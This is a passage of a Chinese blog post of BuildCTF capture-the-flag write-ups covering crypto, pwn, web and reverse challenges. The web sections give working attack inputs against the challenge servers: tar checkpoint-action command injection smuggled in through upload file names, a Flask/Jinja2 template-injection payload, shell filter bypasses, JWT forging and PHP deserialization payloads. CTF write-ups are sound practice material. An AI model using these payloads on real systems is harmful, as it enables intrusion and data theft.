Q = 9406643503176766688113904226702477322706664731714272632525763533395380298320140341860043591350428258361089106233876240175767826293976534568274153276542755524620138714767338820334748140365080856474253334033236457092764244994983837914955286808153784628739327217539701134939748313123071347697827279169952810727995681780717719971161661561936180553161888359929479143712061627854343656949334882218260141557768868222151468471946884225370009706900640851492798538458384449294042930831359723799893581568677433868531699360789800449077751798535497117004059734670912829358793175346866262442550715622833013235677926312075950550681
n = 8825283482190476005946253343638820879559355306860912268128891241513310054066424567824202757539757712177309282694997613217968336164050770152277369601415394249781577415456224120102543968285035647514461364611734338073523454354376992783551035395558194171202680855182868766563277697325690226849316944101739491659812174054898519492145495098671439125714086449826697343692081109131564556220174583970363431110462222473013021825770267803249515893736989430146194199936335153936611196467225599746830873958085287665223190767137404366840055297859554490123389877396965710177279558954630222879974581602069901175074777191362537419581
e = 65537
c = 27915082942179758159664000908789091022294710566838766903802097394437507062054409033932303966820096232375646873480427485844733381298467171069985418237873120984132166343258345389477844339261488318588760125230979340678006871754125487279212120945061845738130108370814509280317816067243605608952074687396728904772649873860508240809541545939219624254878900291126739390967820141036260712208555574522131446556595562330969209665291757386246648060990840787769772160549862538116370905306402293764494501838709895355570646716245976733542014165663539815972755562821443411642647981898636761822107221203966296758350547477576411216744594534002057673625678188824476543288048956124565509473100550838563085585434675727358831610724920550213350035792170323729397796947598697983084347567191009236345815968927729025919066227704728180060805553787151862426034275526605154807840695498644070184681962311639338273469859838505348823417234722270798882384367058630064108155240680307754557472476430983184039474907188578578484589833812196216551783354411797156409948499012005963943728564803898150155735762695825658678475746559900705796814512838380193603178657226033406812810314960142251012223576984115642351463684724512456778548853002653596485899854303126091917273560

# 计算 p 和 q
p = math.isqrt(P)
q = math.isqrt(Q)
print("p =", p)
print("q =", q)

# 验证 p * q 是否等于 n
n_computed = p * q
if n_computed == n:
    print("p 和 q 的计算正确")
else:
    print("p 和 q 计算有误")

# 计算欧拉函数 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥 d
d = pow(e, -1, phi_n)

# 解密密文
m = pow(c, d, n)

# 将明文转为字符串形式
flag = long_to_bytes(m)
print(flag)

Pwn

我要成为沙威玛传奇
解题人:Alex

  1. 一直按4偷钱,偷到500,买一百个沙威玛就可以拿flag了
  2. 也可以写个脚本
  3. BuildCTF

touch heart

解题人:Alex

  1. 程序过滤ls等关键字
  2. 使用/bin绝对路径执行命令,把尾字母用*代替
  3. /bi/ca * fla
  4. BuildCTF

Web

我写的网站被rce了?
解题人:shag0u
点点点几个功能,发现查看日志可能存在文件包含

修改 access 试试

成功报错说明存在文件包含
使用截断符截断成功 ls

ls /查看目录

对空格有过滤,使用${IFS}绕过过滤

cat flag 发现对关键字也有过滤

单引号分割绕过过滤成功得到 flag

刮刮乐

解题人:shag0u
f12 看到一个传参 cmd,直接传参试试

回显一个这个

添加 Referer 字段试试

无回显,cmd 传入 ls 依旧无回显,用 || 截断试试

成功 ls, 直接 cat /flag 试试

拿下 flag

ez!http

解题人:shag0u
按照题目提示不断添加 HTTP 数据包的字段即可,最终构造好的数据包:

POST / HTTP/1.1
Host: 27.25.151.80:42411
User-Agent: buildctf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: buildctf
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://27.25.151.80:42411
Connection: keep-alive
Referer: http://27.25.151.80:42411/
Upgrade-Insecure-Requests: 1
Referer: blog.buildctf.vip
X-Forwarded-For: 127.0.0.1
Date: 2042.99.99
From: root@buildctf.vip

via: buildctf.via

user=root&getFlag=This_is_flag

find-the-id

解题人:shag0u
看题目提示直接爆破就行

最终值应该为 207 时得到 flag

打包给你

解题人:shag0u

ai 审计代码一下此处存在一个 tar --checkpoint-action 漏洞
网上找了找资源看到的 payload 是--checkpoint=1 --checkpoint-action=exec=ls>out.tar
但是写了好久不知道为什么就是写不到 out.tar 里面

机缘巧合突发灵感想试试是不是空格的问题就拆开写了试试这个 payload
--checkpoint=1 [空格] --checkpoint-action=exec=env>111.txt
当时做出来太激动了拿手机拍的照片:

还真让我拿到环境变量了

虽然说找到了 rce 的点,但是题目过滤了 .. 和/ 让路径穿越变得十分困难,找了好多文章,看到可以将 payload 使用 base64 编码之后写到 sh 文件里面然后执行 sh 文件直接开试!


直接运行!!!

所以解题的全过程是:

  1. 上传文件名为--checkpoint=1 的文件
  2. 上传一个文件名为空格的文件
  3. 上传一个文件名为--checkpoint-action=exec=echo Y2F0JHtJRlN9L0d1ZXNzX215X25hbWU= | base64 -d > 1.sh 的文件
  4. 上传一个文件名为--checkpoint-action=exec=sh 1.sh>1.txt 的文件

sub

解题人:CurlySean
进入以后看见了好几个文件,

点进去发现权限不够

看源码以后,发现role必须是admin,才能访问文件

咱们先去注册一个账号 admin admin
后面登录进去

抓包获取到jwt,源码中也有密钥“BuildCTF”

伪造一下jwt

后面将时间戳也修改了一下

成功访问

发现这里有一个命令注入的东西

找到注入点

找了找没有flag文件,所以看了一下环境变量,成功出货

ezlogin

解题人:CurlySean

提示说在users.js中,这里显示小写不能是buildctf,大写得是BUILDCTF,这个是一个toLowercase的漏洞
ı 经过 toLowercase 会转换为 i
这样我们就可以绕过buildctf了
而密码MD5解密后是012346
则可以直接登录

成功

解题人:CurlySean

这里的逻辑是,先加,后判断,可以使用条件竞争

抓包放到,repeat

将power修改为1e100,一直发送

出来了成功获取flag

BuildCTF{H0w_Did_Y0u_Cl1ck_S0_M4ny_T1mes_666}

babyupload

解题人:shag0u

进入链接看到了一个文件上传界面,和题目一样,应该是一个文件上传
随便上传点东西看看

他说他不认识这个图片,那就加一个文件头试试

能知道这是一个图片了,但是也过滤了php,经过后续测试,还过滤了一些env,eval,assert,php等东西
最后利用短标签绕过去了

现在要想的就是该如何使他解析
经过测试,.user.ini无法上传,但是.htaccess可以上传


成功使照片解析,但是我们都找了整个目录,发现没有flag,应该在环境变量里面
但是查看环境变量的都被过滤了,用一下拼接让绕过吧

成功找到flag

LovePopChain

解题人:CurlySean

首先需要get一个参数 No_Need.For.Love
这里就联系到一个知识点 非法参数名 这里需要用 [ 来代替 _ 下划线 No[Need.For.Love

成功接受到参数 接下来该进行构造了

理论形成,实践开始

<?php
class MyObject{
    public $NoLove;
}



class GaoZhouYue{
    public $Yuer;
    public $LastOne;
}

class hybcx{
    public $JiuYue;
    public $Si;

}


$a =  new MyObject();
$b =  new hybcx();
$c =  new GaoZhouYue();

$d = new MyObject();
$d -> NoLove = $b;
$b->Si = $a;

//echo urlencode(serialize($x) + "\n");
echo urlencode(serialize($d));

#O%3A8%3A%22MyObject%22%3A1%3A%7Bs%3A6%3A%22NoLove%22%3BO%3A5%3A%22hybcx%22%3A2%3A%7Bs%3A6%3A%22JiuYue%22%3BN%3Bs%3A2%3A%22Si%22%3BO%3A8%3A%22MyObject%22%3A1%3A%7Bs%3A6%3A%22NoLove%22%3BN%3B%7D%7D%7D

成功,然后开始找flag



tflock

解题人:CurlySean
进入是一个登录框

肯定是信息泄露,找一下

在robots.txt下找到一个目录

找到两个密码本

发现锁定了,但是题目说是真假flock,所以直接爆破就行了

成功爆破到一个,密码如下,使用这个密码进入试一下

成功登录

成功获取flag

BuildCTF{da19ea13-9606-485c-a428-568f294e5ac1}

Why_so_serials?

解题人:CurlySean

获取flag的逻辑是,接受两个参数,将joker替换为batman,然后反序列化参数,如果$boom->crime为true,则可以获取flag
则可以写脚本

<?php

$x = 'O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:114:"batmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatman";s:5:"crime";b:0;}";s:5:"crime";b:0;}';

if($boo = unserialize($x)){
    echo "1\n";
}
class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(1 == 1){
    $Bruce = '1';
    $Wayne = "jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker\";s:5:\"crime\";b:1;}";

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        echo serialize($city);
        echo "\n";
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        echo $serial_city;
        echo "\n";
        echo $boom->crime;
        if($boom->crime){
            echo 'niubi';
        }
    }else{
        echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}

#payload=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker\";s:5:\"crime\";b:1;}

http://27.25.151.80:44131/?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker%22;s:5:%22crime%22;b:1;}
获取flag
BuildCTF{85612f7c-a4cf-42cb-a953-a55d071f810b}

ez_waf

解题人:CurlySean

明显是一个文件上传

发现这个尖括号直接都过滤了,该怎么办呢
想到一个垃圾信息的绕过,有的只对前面的一些信息进行过滤

成功上传
接下来进行查找flag


成功找到

ez_md5

解题人:CurlySean

想起一串数字经过MD5加密后 会达成 or' 的形式可以过这个sql

129581926211651571912466741651878684928


刚刚一直都穿不上去,发现需要把cookie删除来防止$_REQUEST的过滤

这里用简单的数组绕过就可以,然后就可以看下面的了

刚刚有一个robots的提示,我们来看一下

应该是MD5的前几位给我们了,剩下也就7位数,还不能传字母,爆破一下吧

php
import hashlib

salt = '114514'

for i in range(10000000):
    m = f'{i:0>7}'
    print((salt + str(i)))
    m = hashlib.md5((salt + str(i)).encode()).hexdigest()
    print(m)
    if(str(m) == "3e41f780146b6c246cd49dd296a3da28"):
        print("mima" + m);
        break

成功爆破,该传参了

参数中有 _ 非法参数传参 _ 要改为 [ 并且最后需要url编码一下才能正确

RedFlag

解题人:shag0u
题目过滤了()并且对 config 和 self 设置了黑名单
只黑名单了config和self,但Flask和Jinja2中有许多其他全局对象和属性可供访问,如get_flashed_messages、current_app等

  1. get_flashed_messages函数:
    ○ Flask中用于获取闪现消息(flashed messages)的函数。
    ○ 作为一个函数对象,get_flashed_messages拥有__globals__属性,指向其全局命名空间。
  2. __globals__属性:
    ○ 这是一个字典,包含了函数定义时的全局变量。
    ○ 通过get_flashed_messages.globals,可以访问到Flask应用的上下文对象,如current_app。
  3. 访问current_app对象:
    ○ current_app是Flask提供的上下文局部变量,指向当前激活的Flask应用实例。
    ○ 通过__globals__['current_app'],可以获取到当前应用的实例。
  4. 访问应用配置config:
    ○ current_app.config是一个字典,包含了Flask应用的配置信息。
    ○ 通过config['FLAG'],可以直接访问并输出FLAG的值。
    config和self被设置为None,但通过get_flashed_messages.globals,可以间接访问current_app,从而访问config
    所以最终的 payload 为:
    {{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

Reverse

新?Android路?
解题人:随风而去吧
修改apk后缀为zip文件,解压后得到apk的结构,模拟器打开之后提示就是查看apk结构
然后一个文件夹一个文件夹点,发现平时放图标图片的asstes目录下有一堆lua文件,感觉不正常

网上搜lua在线工具,一个一个试,main文件脱壳后有内容显示

找到一个类似密文的东西,然还有一个key,似乎试BuildCTF,但是看不出来是啥加密,但是可能有base64解密(因为有一个base64)
然后去试别的lua文件
反汇编crc3264,发现有一个类似base64编码表的内容

在看别的文件,脱壳but.lua文件,有内容但没得到啥东西

继续看,ai分析是rc4加密,想到rc4加密有密钥,猜测极有可能

然后就是用工具去解密,经过一番坚持不懈的努力,得到了flag(先base64再rc4最后在base64)

成功得到flag~~~~

自是花中第一流

解题人:随风而去吧
查壳,无壳,ida64位打开,发现有两个花指令,直接修改字节为90,成功nop掉

然后F5反编译得到主要代码

发现就是典型的输入数据后对数据进行加密,然后与已有的密文进行对比
找到密文:

找到加密函数:

然后key的话是对已有的一个key进行处理

然后都找到之后就是让ai帮助写个脚本

def KSA(key):
    key_length = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def PRGA(S, data_len):
    i = 0
    j = 0
    key = []
    while len(key) < data_len:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        key.append(K)
    return key

def encrypt_decrypt(data, key):
    return bytes([data[i] ^ key[i] for i in range(len(data))])

def init_key(Is_key):
    return bytes([Is_key[i] ^ 0x31 for i in range(len(Is_key))])

# Is_key 数组,初始化 key
Is_key = [0x77, 0x00, 0x01, 0x5E, 0x46, 0x54, 0x43]
key = init_key(Is_key)

# 初始化S盒
S = KSA(key)

# secret 数组
secret = bytes([0x7E, 0x58, 0x36, 0xF5, 0xC5, 0xF3, 0x39, 0xD4, 0x65, 0xCF, 0x67, 0x85, 0x37, 0x8C, 0x0C, 0xD4,
                0x46, 0x88, 0x95, 0x2F, 0xDB, 0xB6, 0xA7, 0x56, 0xDC, 0xFE, 0xA9, 0x99, 0x92, 0x60, 0xA6, 0xC9,
                0xE7, 0xCF, 0xBD, 0xB5, 0x62])

# 生成密钥流
data_len = len(secret)
key_stream = PRGA(S, data_len)

# 解密数据
original_input = encrypt_decrypt(secret, key_stream)

# 输出原始输入,这就是所谓的flag
print("Flag:", original_input.decode('utf-8'))

晴窗细乳戏分茶

解题人:随风而去吧
打开之后直接反编译,找到主要逻辑

发现是有两段flag,并分别对其进行加密
先找第一段的加密函数并分析

这是第一段,先用这个encrypte函数加密完之后和enc对比,然后根据加密脚本原理写逆向脚本

import struct

def decrypt(v, k):
    DELTA = 0x9e3779b9
    sum = DELTA * 32

    v0, v1 = v[0], v[1]
    for _ in range(32):
        v1 = (v1 - ((v0 + sum) ^ ((v0 << 4) + k[2]) ^ ((v0 >> 5) + k[3]))) & 0xffffffff
        v0 = (v0 - ((v1 + sum) ^ ((v1 << 4) + k[0]) ^ ((v1 >> 5) + k[1]))) & 0xffffffff
        sum = (sum - DELTA) & 0xffffffff

    return (v0, v1)

def decrypt_data(encrypted_data, key):
    decrypted_data = []
    for i in range(0, len(encrypted_data), 2):
        decrypted_block = decrypt((encrypted_data[i], encrypted_data[i+1]), key)
        decrypted_data.extend(decrypted_block)
    return decrypted_data

# Assuming these are the encryption outputs and the key
enc = [2735501326, 4136359651, 3235154416, 314506021, 2163131827, 731233488]
key = [1646625, 164438, 164439, 2631985]

decrypted = decrypt_data(enc, key)

# Interpret the decrypted data as bytes and then decode UTF-8, adjusting appropriately if necessary
byte_data = struct.pack('<' + 'I'*len(decrypted), *decrypted)
try:
    print(byte_data.decode('utf-8'))
except UnicodeDecodeError:
    print("Decoded string could not be printed, might contain non-text or misinterpreted data.")

然后再看第二个加密函数encrypt2,根据原理再次写一个逆向脚本

import struct

def decrypt2(num_rounds, v, k):
    DELTA = 0x9E3779B9
    sum = DELTA * num_rounds
    v0, v1 = v[0], v[1]

    for _ in range(num_rounds):
        v1 = (v1 - ((((v0 >> 5) ^ (16 * v0)) + v0) ^ ((k[(sum >> 11) & 3] + sum) & 0xffffffff))) & 0xffffffff
        sum = (sum + 0x61C88647) & 0xffffffff  # reverse of sum -= DELTA
        v0 = (v0 - ((((v1 >> 5) ^ (16 * v1)) + v1) ^ ((k[sum & 3] + sum) & 0xffffffff))) & 0xffffffff

    return v0, v1

def decrypt_data2(encrypted_data, key, num_rounds):
    decrypted_data = []
    for i in range(0, len(encrypted_data), 2):
        decrypted_block = decrypt2(num_rounds, encrypted_data[i:i+2], key)
        decrypted_data.extend(decrypted_block)
    return decrypted_data

# Given encrypted data and key from the code
enc2 = [2272146980, 2824939640, 1057529116, 1243942236]
key2 = [358040470, 1131796, 85988116, 120935944]

# Decrypt data assuming 32 rounds as in the "encrypt2" function
decrypted = decrypt_data2(enc2, key2, 32)

# Format decrypted data into bytes and attempt to decode
byte_data = struct.pack('<' + 'I'*len(decrypted), *decrypted)
try:
    print(byte_data.decode('utf-8'))
except UnicodeDecodeError:
    print("Decoded string could not be printed, might contain non-text or misinterpreted data.")

BuildCTF{D0_y0u_WanT_T0_D3ink_s0mE_TEA?}

pyc

解题人:随风而去吧
下载下之后直接去在线网站反编译

很简单就是换表之后base64解码,然后写脚本

import base64

def decode(encoded):
    # Decode the base64 encoded string
    encoded_bytes = base64.b64decode(encoded)
    
    s = bytearray()
    for byte in encoded_bytes:
        # Subtract 16 from each byte, and handle wrap-around
        x = byte - 16
        if x < 0:
            x += 256
        # XOR the result with 32
        x = x ^ 32
        s.append(x)
    return s.decode('utf-8')

# The encoded correct flag
correct_encoded = 'cmVZXFRzhHZrYFNpjyFjj1VRVWmPVl9ij4kgZW0='
# Decode to find the flag
flag = decode(correct_encoded)
print("Decoded flag:", flag)

BuildCTF{pcy_1s_eaey_for_Y0u}

ez_xor?

解题人:随风而去吧
这个题唯一的难点就是main函数里面没找到修改key的地方
直接找到main函数,分析逻辑

sub_140001580函数的内容是利用一个256长度的数组对输入的内容进行加密

sub_140001410函数是利用key去处理一个256长度的数组

然后最初的key是BuildCTF2024!_,最一开始拿这个做做不出来,最后发现是还有个对key做处理的,是检测动调的

最后处理后的key是7h1s_15_@_key@A@

这是动调得到的处理后的256长度的数组,原理就是根据加密逻辑从这32位里面挑出32位和flag相加
最后写脚本即可
这是得到32位数据的脚本

# 初始化byte_1400077B0数组
byte_1400077B0 = [
    0xF7, 0x0A, 0xD3, 0xD5, 0xB6, 0xE2, 0x03, 0x83, 0xCB, 0x33, 0xA8, 0xE3, 0x9D, 0xEA, 0xAB, 0x7F,
    0xCF, 0x69, 0x1C, 0x50, 0x84, 0x16, 0xB8, 0x9B, 0xD6, 0x72, 0xDF, 0x20, 0xAA, 0x2E, 0xBD, 0x87,
    0x43, 0xCC, 0xEC, 0x80, 0x35, 0xD8, 0x0A, 0x8A, 0xDA, 0x2C, 0xFE, 0xF1, 0x5F, 0xE6, 0x4D, 0x4C,
    0xD0, 0x2F, 0x41, 0x14, 0x7B, 0x46, 0x4B, 0xEE, 0x6B, 0xBF, 0xF3, 0xAC, 0xB9, 0x07, 0x34, 0x62,
    0x96, 0x51, 0xCE, 0x0B, 0x1A, 0x9E, 0x5A, 0x58, 0x8C, 0x4F, 0xC5, 0x3D, 0x6D, 0xDD, 0xC1, 0x42,
    # 省略剩余初始化内容以节省空间
]

# 准备变量
v3 = 0
v4 = 0
result = 32  # 循环32次
a1_subtracted = []

# 循环执行32次
for i in range(result):
    v3 = (v3 + 7) % 256
    v4 = (v4 + byte_1400077B0[v3]) % 256

    # 交换操作
    byte_1400077B0[v3], byte_1400077B0[v4] = byte_1400077B0[v4], byte_1400077B0[v3]

    # 计算a1减去的值
    index = (byte_1400077B0[v4] + byte_1400077B0[v3]) % 256
    a1_subtracted.append(byte_1400077B0[index])

# 输出结果
a1_subtracted

然后将密文和得到的32位数据相加然后转换为字符串

 # 定义已知的两个列表,分别代表减去的值和char数组
a1_subtracted = [28, 12, 208, 86, 185, 179, 81, 128, 17, 227, 131, 80, 101, 163, 222, 64, 69, 44, 191, 48, 80, 33, 3, 73, 248, 210, 227, 242, 0, 28, 35, 236]
char = [0x19, 0x68, 0xA2, 0xEF, 0x7B, 0xBA, 0x0E, 0xC5, 0x5D, 0x80, 0xEF, 0x09,
        0x0B, 0xD1, 0x81, 0xF1, 0xF0, 0x33, 0xA6, 0x11, 0x23, 0x58, 0x5C, 0x2B, 0x38,
        0x8D, 0x80, 0x60, 0x61, 0x27, 0x48, 0x35]

# 将两个列表的元素相加并限制结果在0到255之间(模256)
result = [(a + b) % 256 for a, b in zip(a1_subtracted, char)]

# 转换结果列表为对应的字符
result_string = ''.join(chr(r) for r in result)
result_string

babyre

解题人:随风而去吧

用ida打开看一下,整体的逻辑是接受一个46位的flag,将flag分为两个长度为23的密文,然后经过加密后,分别与两部分对比,然后判断flag是否正确
判断的两部分分别是这样的(十六进制是反着的)

str1 = "\x19WQQN\x14\0X\x05I\x1DQWRWV\x01R\0RUR\x1E"
str2 = "H\x7Fcfni~lqo92i2??>'8=i;'"

第一部分flag是前半部分,然后与A异或后的东西

知道其加密原理后,就可以写出脚本

str1 = "\x19WQQN\x14\0X\x05I\x1DQWRWV\x01R\0RUR\x1E"
str2 = "H\x7Fcfni~lqo92i2??>'8=i;'"

flag1=''
flag2 =''
print(len(str1))

for i in range(23):
    for j in range(127):
        if j ^ 0xA == ord(str2[i]):
            flag1 += chr(j)
print("flag1 = " + flag1)


flag2 += chr(ord(str1[0]) ^ ord(flag1[22]))

print("flag2 = " + flag2)


x = '4'
for j in range(1,23):
    x = chr(ord(x) ^ ord(str1[j]))
    print(x)
    flag2 += x
print(flag2)

posted @ 2024-11-06 18:45  Zephyr07  阅读(307)  评论(3)    收藏  举报